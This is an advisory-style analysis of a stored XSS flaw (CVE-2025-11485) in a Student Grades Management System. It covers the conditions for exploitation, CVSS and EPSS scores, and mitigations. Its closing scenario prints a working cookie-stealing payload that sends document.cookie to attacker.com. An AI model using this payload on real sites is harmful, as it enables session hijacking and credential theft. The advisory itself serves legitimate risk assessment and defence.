Student Grades Management System CVE-2025-11485

Exploitation requires all of the following conditions: (1) Valid administrator account access to the Student Grades Management System with permission to access /admin.php and the Manage Users function - unauthenticated remote users cannot trigger the vulnerability; (2) Ability to submit the add_user function with first_name or last_name parameters containing XSS payload (no apparent input length or character restrictions noted in available descriptions); (3) Another administrator or user with access to the Manage Users page must actively view the page where the injected payload is stored and rendered - the malicious script does not execute in the attacker's own browser but only in other users' browsers viewing that page. These conditions significantly limit real-world exploitation compared to a remote unauthenticated XSS vulnerability, as attackers must either possess or compromise an administrator account, and must wait for a victim to visit the Manage Users page. Default installations without security hardening are vulnerable, but the application does not expose XSS by design in typical usage patterns - it requires the confluence of administrator access + administrator inattention to input filtering.

This vulnerability presents significantly lower real-world risk than its CVE listing might initially suggest, despite public exploit availability. The CVSS v4.0 score of 1.9 is misleading - it reflects a network attack vector (AV:N) but is heavily mitigated by multiple restrictive factors: high privilege requirement (PR:H - administrator role only), user interaction requirement (UI:P - victim must view the affected page), and limited impact scope (integrity only, VI:L - low confidentiality/integrity impact). The EPSS score of 0.03% (9th percentile) is the critical reality check here - despite public POC availability, exploitation probability remains minimal due to the convergence of access controls. Attack feasibility requires: (1) valid administrator account or account compromise, (2) ability to craft first_name/last_name input without validation bypass, (3) another user (victim) actively viewing the Manage Users page. The stored XSS does not enable direct privilege escalation, code execution, or system compromise - only session hijacking or credential theft from other administrators viewing the user list. Organizations using this system should apply layered defenses (input validation, output encoding, CSP headers) but should prioritize patching higher-CVSS, lower-privilege vulnerabilities first if remediation resources are constrained.

An administrator with malicious intent or a threat actor who has compromised an administrator account logs into the Student Grades Management System and navigates to the Manage Users page. They click 'Add User' and enter a payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">' in the first_name field. This payload is stored in the database without sanitization. When another administrator later visits the Manage Users page to review the user list, the malicious script executes in their browser context, sending their session cookies to the attacker's server, enabling session hijacking. Exploitation is feasible because public exploit code is available (GitHub POC referenced), but real-world impact remains low due to the administrator-only access requirement.